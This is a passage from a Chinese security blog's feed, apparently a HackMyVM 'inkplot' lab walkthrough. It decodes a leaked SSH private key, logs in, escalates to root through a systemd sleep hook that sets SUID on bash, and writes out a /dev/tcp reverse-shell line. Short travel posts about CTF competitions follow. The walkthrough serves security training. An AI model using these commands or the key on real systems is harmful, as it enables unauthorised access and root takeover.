LS0tLS1CRUdJTiBPUEVOU1NIIFBSSVZBVEUgS0VZLS0tLS0KYjNCbGJuTnphQzFyWlhrdGRqRUFBQUFBQkc1dmJtVUFBQUFFYm05dVpRQUFBQUFBQUFBQkFBQUJsd0FBQUFkemMyZ3RjbgpOaEFBQUFBd0VBQVFBQUFZRUFyc3RKYXVLWThpRG9aMXN6aFdCT01PY2VyMW5zMTRPZ2FiVjR5R3VXYkxTWGova3pqQ1JFClVjTXU2MXNVWUxkM05GSzRKQWRTY1RzWkZhVmIybGw3Z3J3clNXWEVWUUwzdDRLNlRuWnpKczZiN2JrTXBKMkRqUHZBYTcKS2ltUm9SZzAybWFIS1BNWkNreEUwY0U2T29sZG1oblFZcjFPdTIyTXpFQlR6cGphbXdjUGIrd3dnTFBGdm1EeHd4NnpVdApKcWxCQW93SHVrK25zSHdDVnV3eTR1Y1VIdnh3c1F5NkQrbjVoQlc2Z1NTRXBOVWFreHJ0ZTI0a0RZN2M1TlRrY3NGakdHCk9ZbWhLL1VnVXRtUVZuMCsxUURjUkNEMk53NTZKN1lkNGQxS1ArMUJQVldSNzJhbXpGUjRWT24xVHIyWHc2d1FMRklUYW4KaFVqc2hzYXoxbnUwV1BVOXJvaXBTTnhXUVltQTdtWkUwQU9vWlBZbTFSVVMrQWRzaXNRNmQ5QkJRUmxGb29DekJXYXJCQQptNWpTdjJEWDhxMHRaTjVFeStTYkNDaUVUVnQ2ZXQ0TFdndEZwOVVQQWdhM2RUU1IwdkwyYlZxOVhOaGpOemhZK25DclBTCkhzV3doSFRnZCtiMm54WmRyTkJ1VG1zdU9tNCtKSkJLN2Fsb0QrMTVBQUFGaU4waWpDemRJb3dzQUFBQUIzTnphQzF5YzIKRUFBQUdCQUs3TFNXcmltUElnNkdkYk00VmdUakRuSHE5WjdOZURvR20xZU1ocmxteTBsNC81TTR3a1JGSERMdXRiRkdDMwpkelJTdUNRSFVuRTdHUldsVzlwWmU0SzhLMGxseEZVQzk3ZUN1azUyY3liT20rMjVES1NkZzR6N3dHdXlvcGthRVlOTnBtCmh5anpHUXBNUk5IQk9qcUpYWm9aMEdLOVRydHRqTXhBVTg2WTJwc0hEMi9zTUlDenhiNWc4Y01lczFMU2FwUVFLTUI3cFAKcDdCOEFsYnNNdUxuRkI3OGNMRU11Zy9wK1lRVnVvRWtoS1RWR3BNYTdYdHVKQTJPM09UVTVITEJZeGhqbUpvU3YxSUZMWgprRlo5UHRVQTNFUWc5amNPZWllMkhlSGRTai90UVQxVmtlOW1wc3hVZUZUcDlVNjlsOE9zRUN4U0UycDRWSTdJYkdzOVo3CnRGajFQYTZJcVVqY1ZrR0pnTzVtUk5BRHFHVDJKdFVWRXZnSGJJckVPbmZRUVVFWlJhS0Fzd1ZtcXdRSnVZMHI5ZzEvS3QKTFdUZVJNdmttd2dvaEUxYmVucmVDMW9MUmFmVkR3SUd0M1Uwa2RMeTltMWF2VnpZWXpjNFdQcHdxejBoN0ZzSVIwNEhmbQo5cDhXWGF6UWJrNXJManB1UGlTUVN1MnBhQS90ZVFBQUFBTUJBQUVBQUFHQVN4MXlOZndkMVFPZVMvaE42alhLTkVyR0RYCjM4QVZ0LzNwMk5RN2UwWTQreUNEMkQwT2d1OGVJS2Nqcm9SVzNpVExwMWhvb2MvQ3IwNnkvdUNxWGtwWGgrczZLSG5pN1IKekd0aDYrRU1PRE9XbjdDanhjUW82YmV3WjdmVEZ5ODBNblIybkRFSzV6WnRFQ3pBOFpHbG00djBYem50TVNtQW9LZFNYNQp2ZkZERkZjUzQ3cWcxMVlxRnRlclhYbitmd3VNb0lkWE0reU9wOU9pTDRrR2tkcnhPMXVtRXFmbk5sSy95VTdSVzNXZE1iCks0aW16R3ZJZllBRi8wdVRFc1dIbFdqL1hoOVpJSXdzMTk2S2VqNDVOd0M2TGo2UmhBRDNSbkpCNmVJRWVrenFIWEQ1anYKMjAwWE9KOTZ0dmUvbHdLbEUyZWdWR2xEZlhGRHkvUVU1WXpCR204VWd3NWFvWS93V0R1RG1OYjRtVDR4NUdHQ1ZocVRLWQpnOUppQlpGUHJkSFhGclp4bUpScEpLa1Azd2xMaVNYc0JQR2FMWjNxRFlVay9PeVRzNUhNREpoNTAzMFJ6Qlp5WG9kTXJ0Cjc5UXNqUEtxc1ZSL2d6YWd6Q2w3bWFTdFUzMDdrTGVFQnlDZDRmMlI0OWIwVXA3RFF2azdsdS8wMGJIdmFBVUcrL0FBQUEKd1FDcXFobDRqZ0MrMGJ2K2dIY0Z0VHZTcjFJVGdHYzVwc0ZId1diTnR3UUFHanhieUs0R3FlVTM1ckY2b2hOSXQ3dXNBQgpBQ2tiMmhSWTJVK1BQRTNNMkdzTXBQYnJXeWYwSlRnd0M4M0h3NWhFN2liUDRRWUsyeUFuNDA5elVudzZLQU4wdHVTVGJ5ClF0cmFWdXEwVEplWVUzbm9WSlVmRm1zMHgxUUFIQmN4TTlaOWsrMSt1alhsY1ppazlDM3FoRUFVZFR4aWtMeGpUT2FFaFcKVzZ5NDFrVjc4RzU0NmNnVWNqUk9CdTIxellzWTBHOHRQam9idFN6dVcrSGtva3ltb0FBQURCQVBKVUsrQ291VnlkRW1vMgpuOVJOWWI5eFg0SjBQUWdreTYwRVF4NXhxZUFMV2hIcUpYZXRtemd5QW0ycmx1R0ErNHUwZWN5eVZBN1hLMVN5TmRFTkhrClRiM05OQ3padmpmSEhyZkRtM3c3OTlQVlAzZEFocEkzSmIxa0ZkM0h5TURhRklGM3AxS3gvR2I4VXlPcWxpTGg5d09XTWEKcnV2UzRGdk9sZlc3WTl1WWtpTThaSHR4VWNZRWVqN3FUYkpmNFBNdERxRDhQODZqTE8xeVV5NTdKVTEwbnIyVTNoYllGRgpHeGdwMmNVR2cra0tsWHE5SktybGJ6YURuWkpFdzZvd0FBQU1FQXVLZS9MbmhXVGJJZ3cyOW1HUm9iZmxTaVBaUTltUTcrCmlFV1FXdzdGT1dwOGlHN09RM2J1Rk1DdnBzYWZqZTgrUEw0YlYwdUttSTZhbEsySW5xR2xON2p0K0ZZTENEdWdzbVV3aUEKQTZLcmxzRlh0UHYvQk9vNkxLNVllNk9UWUlRbklSRjVna3BVSjFGdVBTUTRkUHh3bEk3NDBPSEFpQjdCSE5nSlFoZCtFbApzWXdNQnJodXBORE5PakdJc2IydDV5Ly9PRUd3NGdpZjRGYmhEOUdxT2NnRG1Zb1hTUHhxTFVCOGRpdXBQVUdVSFVCT1NwCmFEZkFEOHloaVVtYlV6QUFBQURuQmhkV3hwYm1WQVpHVmlhV0Z1QVFJREJBPT0KLS0tLS1FTkQgT1BFTlNTSCBQUklWQVRFIEtFWS0tLS0tCg==%                       
╭─leila@inkplot /tmp 
╰─$ cat new_id_rsa.enc.enc | base64 -d
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(root㉿kali)-[/home/kali/Desktop]
└─# chmod 777 id_rsa 

┌──(root㉿kali)-[/home/kali/Desktop]
└─# ssh pauline@10.0.90.216 -i id_rsa                                                         
Auto-standby now activated after 2 min of inactivity
Linux inkplot 6.1.0-10-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.38-1 (2023-07-14) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
[oh-my-zsh] Would you like to update? [Y/n] n
[oh-my-zsh] You can update manually by running `omz update`

╭─pauline@inkplot ~ 
╰─$ 
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;╭─pauline@inkplot ~ 
╰─$ id
uid=1000(pauline) gid=1000(pauline) groups=1000(pauline),100(users),1002(admin)
╭─pauline@inkplot ~ 
╰─$ 
Broadcast message from root@inkplot (Tue 2025-08-19 05:45:10 CEST):

The system will suspend now!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在思考的时候发现机器被挂起了&lt;/p&gt;
&lt;p&gt;重启一下&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;2️⃣ 所属组

groups=1000(pauline),100(users),1002(admin)

你属于三个组：

pauline（主组）

users（普通用户组）

admin（管理员组，可能有 sudo 权限）
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;╭─pauline@inkplot ~ 
╰─$ find / -group admin 2&amp;gt;/dev/null
/usr/lib/systemd/system-sleep
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;/usr/lib/systemd/system-sleep 是一个在 Linux 系统中由 systemd 管理的特殊目录，用于存放在系统进入睡眠状态（如挂起到内存或磁盘）或唤醒时自动执行的脚本。

当系统准备进入睡眠状态时，systemd 会运行此目录下所有以 .needs 或 .wants 结尾的脚本，并传递一个参数，指示系统即将进入哪种睡眠状态（例如 suspend、hibernate 或 hybrid-sleep）。同样，当系统从睡眠状态唤醒时，也会运行相应的脚本。

这些脚本通常用于执行一些在系统睡眠或唤醒时需要进行的特殊操作，例如：

保存或恢复某些硬件状态。
停止或重启某些服务。
更新或清理缓存。
执行一些自定义的操作。
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;提权root&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;╭─pauline@inkplot ~ 
╰─$ cd /usr/lib/systemd/system-sleep                                                                                                            1 ↵
╭─pauline@inkplot /usr/lib/systemd/system-sleep 
╰─$ echo &amp;#39;#!/bin/bash&amp;#39; &amp;gt; payload
╭─pauline@inkplot /usr/lib/systemd/system-sleep 
╰─$ echo &amp;#39;chmod +s /bin/bash&amp;#39; &amp;gt;&amp;gt; payload
╭─pauline@inkplot /usr/lib/systemd/system-sleep 
╰─$ cat payload                      
#!/bin/bash
chmod +s /bin/bash
╭─pauline@inkplot /usr/lib/systemd/system-sleep 
╰─$ chmod +x payload
╭─pauline@inkplot /usr/lib/systemd/system-sleep 
╰─$ ls -la         
total 20
drwxrwx---  2 root    admin    4096 Apr 22 08:52 .
drwxr-xr-x 14 root    root    12288 Jul 28  2023 ..
-rwxr-xr-x  1 pauline pauline    31 Apr 22 08:52 payload

普通用户在执行 /bin/bash 时会获得 root 权限。
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;─pauline@inkplot ~
╰─$ echo &amp;#39;#!/bin/bash&amp;#39; &amp;gt; /tmp/root.sh &amp;amp;&amp;amp; echo &amp;#39;bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.2.199/4444 0&amp;gt;&amp;amp;1&amp;#39; &amp;gt;&amp;gt; /tmp/root.sh &amp;amp;&amp;amp; chmod +x /tmp/root.sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;静等挂起&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;bash -p
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;-p 表示 privileged mode（特权模式）&lt;/p&gt;
&lt;p&gt;作用：&lt;/p&gt;
&lt;p&gt;当 Bash 是 SUID 或 SGID 的程序时，-p 保留原来的有效 UID/GID，而不是降低为实际用户 UID/GID&lt;/p&gt;
&lt;p&gt;这样可以让普通用户在拥有 SUID 的 Bash 下执行命令时 以 root 权限运行（如果 /bin/bash 的 SUID 被设置）&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;
╭─pauline@inkplot ~ 
╰─$ bash -p
bash-5.2# whoami
root
bash-5.2# cd /root
bash-5.2# ls -la
total 52
drwx------  6 root root 4096 Aug  3  2023 .
drwxr-xr-x 18 root root 4096 Jul 27  2023 ..
lrwxrwxrwx  1 root root    9 Jun 15  2023 .bash_history -&amp;gt; /dev/null
-rw-r--r--  1 root root  571 Jul 22  2023 .bashrc
-rw-------  1 root root   20 Aug  1  2023 .lesshst
drwxr-xr-x  3 root root 4096 Aug  1  2023 .local
drwxr-xr-x  4 root root 4096 Jul 26  2023 .npm
drwxr-xr-x 12 root root 4096 Jul 22  2023 .oh-my-zsh
-rw-r--r--  1 root root  161 Jul 22  2023 .profile
-rwx------  1 root root   33 Aug  1  2023 root.txt
-rw-r--r--  1 root root   66 Jul 22  2023 .selected_editor
drwx------  2 root root 4096 Jul 25  2023 .ssh
-rw-r--r--  1 root root  165 Jul 26  2023 .wget-hsts
lrwxrwxrwx  1 root root    9 Jul 22  2023 .zsh_history -&amp;gt; /dev/null
-rw-r--r--  1 root root 3890 Jul 22  2023 .zshrc
bash-5.2# cat root.txt 
4d9089c262be4a03e3ebfdaff0a8f7c6
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;bash-5.2# cat suspend.sh 
#!/bin/bash
 
while true ; do
  TIME=$(w -o |grep &amp;quot;pauline&amp;quot; | awk &amp;#39;{print $5}&amp;#39;)
  if [[ $TIME != &amp;quot;-zsh&amp;quot; ]] ; then
    TIME=${TIME%%:*}
    if [[ $TIME -gt 1 ]] ; then
      systemctl suspend
    fi
  fi
  sleep 5
done

不断检查用户 pauline 的空闲时间（idle time）。
如果用户空闲时间超过 1 小时，就执行 systemctl suspend，让系统进入挂起（睡眠）状态。
脚本每 5 秒检查一次。
&lt;/code&gt;&lt;/pre&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hmvmachines/inkplot/&quot;&gt;https://heathc1iff-sec.github.io/blog/hmvmachines/inkplot/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Tue, 19 Aug 2025 00:00:00 GMT</pubDate></item><item><title>第十八届全国大学生信息安全竞赛(创新实践能力赛)暨第二届&quot;长城怀&quot;铁人三项赛(防护赛)半决赛(广东赛区)</title><link>https://heathc1iff-sec.github.io/blog/life/%E7%AC%AC%E5%8D%81%E5%85%AB%E5%B1%8A%E5%85%A8%E5%9B%BD%E5%A4%A7%E5%AD%A6%E7%94%9F%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8%E7%AB%9E%E8%B5%9B%E5%88%9B%E6%96%B0%E5%AE%9E%E8%B7%B5%E8%83%BD%E5%8A%9B%E8%B5%9B%E6%9A%A8%E7%AC%AC%E4%BA%8C%E5%B1%8A%E9%95%BF%E5%9F%8E%E6%80%80%E9%93%81%E4%BA%BA%E4%B8%89%E9%A1%B9%E8%B5%9B%E9%98%B2%E6%8A%A4%E8%B5%9B%E5%8D%8A%E5%86%B3%E8%B5%9B%E5%B9%BF%E4%B8%9C%E8%B5%9B%E5%8C%BA/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/life/%E7%AC%AC%E5%8D%81%E5%85%AB%E5%B1%8A%E5%85%A8%E5%9B%BD%E5%A4%A7%E5%AD%A6%E7%94%9F%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8%E7%AB%9E%E8%B5%9B%E5%88%9B%E6%96%B0%E5%AE%9E%E8%B7%B5%E8%83%BD%E5%8A%9B%E8%B5%9B%E6%9A%A8%E7%AC%AC%E4%BA%8C%E5%B1%8A%E9%95%BF%E5%9F%8E%E6%80%80%E9%93%81%E4%BA%BA%E4%B8%89%E9%A1%B9%E8%B5%9B%E9%98%B2%E6%8A%A4%E8%B5%9B%E5%8D%8A%E5%86%B3%E8%B5%9B%E5%B9%BF%E4%B8%9C%E8%B5%9B%E5%8C%BA/</guid><description>大二-线下比赛</description><content:encoded>&lt;h1&gt;赛场&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/life/ciscn-1.jpeg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/life/ciscn-2.jpeg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h1&gt;游玩&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/life/ciscn-3.jpeg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/life/ciscn-4.jpeg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h1&gt;合影&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/life/ciscn-5.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h1&gt;思绪&lt;/h1&gt;
&lt;p&gt;学校出钱公费旅游，比赛没打好，在返回的航班感慨万千&lt;/p&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/life/%E7%AC%AC%E5%8D%81%E5%85%AB%E5%B1%8A%E5%85%A8%E5%9B%BD%E5%A4%A7%E5%AD%A6%E7%94%9F%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8%E7%AB%9E%E8%B5%9B%E5%88%9B%E6%96%B0%E5%AE%9E%E8%B7%B5%E8%83%BD%E5%8A%9B%E8%B5%9B%E6%9A%A8%E7%AC%AC%E4%BA%8C%E5%B1%8A%E9%95%BF%E5%9F%8E%E6%80%80%E9%93%81%E4%BA%BA%E4%B8%89%E9%A1%B9%E8%B5%9B%E9%98%B2%E6%8A%A4%E8%B5%9B%E5%8D%8A%E5%86%B3%E8%B5%9B%E5%B9%BF%E4%B8%9C%E8%B5%9B%E5%8C%BA/&quot;&gt;https://heathc1iff-sec.github.io/blog/life/%E7%AC%AC%E5%8D%81%E5%85%AB%E5%B1%8A%E5%85%A8%E5%9B%BD%E5%A4%A7%E5%AD%A6%E7%94%9F%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8%E7%AB%9E%E8%B5%9B%E5%88%9B%E6%96%B0%E5%AE%9E%E8%B7%B5%E8%83%BD%E5%8A%9B%E8%B5%9B%E6%9A%A8%E7%AC%AC%E4%BA%8C%E5%B1%8A%E9%95%BF%E5%9F%8E%E6%80%80%E9%93%81%E4%BA%BA%E4%B8%89%E9%A1%B9%E8%B5%9B%E9%98%B2%E6%8A%A4%E8%B5%9B%E5%8D%8A%E5%86%B3%E8%B5%9B%E5%B9%BF%E4%B8%9C%E8%B5%9B%E5%8C%BA/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Sat, 15 Mar 2025 00:00:00 GMT</pubDate></item><item><title>第七届强网拟态防御国际精英挑战赛</title><link>https://heathc1iff-sec.github.io/blog/life/%E7%AC%AC%E4%B8%83%E5%B1%8A%E5%BC%BA%E7%BD%91%E6%8B%9F%E6%80%81%E9%98%B2%E5%BE%A1%E5%9B%BD%E9%99%85%E7%B2%BE%E8%8B%B1%E6%8C%91%E6%88%98%E8%B5%9B/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/life/%E7%AC%AC%E4%B8%83%E5%B1%8A%E5%BC%BA%E7%BD%91%E6%8B%9F%E6%80%81%E9%98%B2%E5%BE%A1%E5%9B%BD%E9%99%85%E7%B2%BE%E8%8B%B1%E6%8C%91%E6%88%98%E8%B5%9B/</guid><description>大二-线下比赛</description><content:encoded>&lt;h1&gt;南京&lt;/h1&gt;
&lt;p&gt;比赛地点在江苏南京，所以就提前一周飞南京坐高铁回了趟家，一年没回去了&lt;/p&gt;
&lt;p&gt;来的时候有个好心的阿姨看到书包孤零零的在座位上，赶紧趁着大巴车没开时找到了我&lt;/p&gt;
&lt;p&gt;在家真的舒服安逸啊&lt;/p&gt;
&lt;p&gt;但是快乐总是短暂的，准备动身去南京&lt;/p&gt;
&lt;p&gt;刚上高铁发现票买错了，提前一天到达&lt;/p&gt;
&lt;p&gt;家母说南京夫子庙中山陵值得一逛&lt;/p&gt;
&lt;p&gt;就去了夫子庙，不过好像被宰了，车费好贵好贵&lt;/p&gt;
&lt;p&gt;到了南京机场乘坐大巴车，不小心把书包落在机场(电脑+外设)&lt;/p&gt;
&lt;p&gt;参观了夫子庙，乌衣巷，秦淮湖，感觉一般(全是卖小吃和南京特产，观赏性好低)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/life/%E7%AC%AC%E4%B8%83%E5%B1%8A%E5%BC%BA%E7%BD%91%E6%8B%9F%E6%80%81%E9%98%B2%E5%BE%A1%E5%9B%BD%E9%99%85%E7%B2%BE%E8%8B%B1%E6%8C%91%E6%88%98%E8%B5%9B-1.jpeg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/life/%E7%AC%AC%E4%B8%83%E5%B1%8A%E5%BC%BA%E7%BD%91%E6%8B%9F%E6%80%81%E9%98%B2%E5%BE%A1%E5%9B%BD%E9%99%85%E7%B2%BE%E8%8B%B1%E6%8C%91%E6%88%98%E8%B5%9B-2.jpeg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/life/%E7%AC%AC%E4%B8%83%E5%B1%8A%E5%BC%BA%E7%BD%91%E6%8B%9F%E6%80%81%E9%98%B2%E5%BE%A1%E5%9B%BD%E9%99%85%E7%B2%BE%E8%8B%B1%E6%8C%91%E6%88%98%E8%B5%9B-3.jpeg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/life/%E7%AC%AC%E4%B8%83%E5%B1%8A%E5%BC%BA%E7%BD%91%E6%8B%9F%E6%80%81%E9%98%B2%E5%BE%A1%E5%9B%BD%E9%99%85%E7%B2%BE%E8%8B%B1%E6%8C%91%E6%88%98%E8%B5%9B-4.jpeg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/life/%E7%AC%AC%E4%B8%83%E5%B1%8A%E5%BC%BA%E7%BD%91%E6%8B%9F%E6%80%81%E9%98%B2%E5%BE%A1%E5%9B%BD%E9%99%85%E7%B2%BE%E8%8B%B1%E6%8C%91%E6%88%98%E8%B5%9B-5.jpeg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/life/%E7%AC%AC%E4%B8%83%E5%B1%8A%E5%BC%BA%E7%BD%91%E6%8B%9F%E6%80%81%E9%98%B2%E5%BE%A1%E5%9B%BD%E9%99%85%E7%B2%BE%E8%8B%B1%E6%8C%91%E6%88%98%E8%B5%9B-6.jpeg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;观赏完去肯德基随便点了小吃为了充电&lt;/p&gt;
&lt;p&gt;顺便跟运维人员申请了酒店提前入住&lt;/p&gt;
&lt;p&gt;BUT，到了酒店才发现(充电器落在肯德基店里了，该死的丢三落四)&lt;/p&gt;
&lt;p&gt;然后尴尬的事情就来了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/life/%E7%AC%AC%E4%B8%83%E5%B1%8A%E5%BC%BA%E7%BD%91%E6%8B%9F%E6%80%81%E9%98%B2%E5%BE%A1%E5%9B%BD%E9%99%85%E7%B2%BE%E8%8B%B1%E6%8C%91%E6%88%98%E8%B5%9B-7.jpeg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;第二天早上醒来，纠结了半天，决定主动点用英语跟他交流&lt;/p&gt;
&lt;p&gt;omg，我的散装英语&lt;/p&gt;
&lt;p&gt;得知他是德国人来自ALLES战队&lt;/p&gt;
&lt;p&gt;并且2017年就开始打CTF，走二进制方向同时WEB也会&lt;/p&gt;
&lt;p&gt;相处的还算融洽&lt;/p&gt;
&lt;p&gt;不过在得知能更换入住同伴晚上就申请和悠悠一块住&lt;/p&gt;
&lt;p&gt;那天晚上还和国防科大博士AI爷&lt;a href=&quot;https://heathc1iff-sec.github.io/image/life/%E7%AC%AC%E4%B8%83%E5%B1%8A%E5%BC%BA%E7%BD%91%E6%8B%9F%E6%80%81%E9%98%B2%E5%BE%A1%E5%9B%BD%E9%99%85%E7%B2%BE%E8%8B%B1%E6%8C%91%E6%88%98%E8%B5%9B-8.png&quot;&gt;&lt;/a&gt;蒜末面基共进晚饭&lt;/p&gt;
&lt;p&gt;比赛早上和师傅们一块吃了酒店的自助&lt;/p&gt;
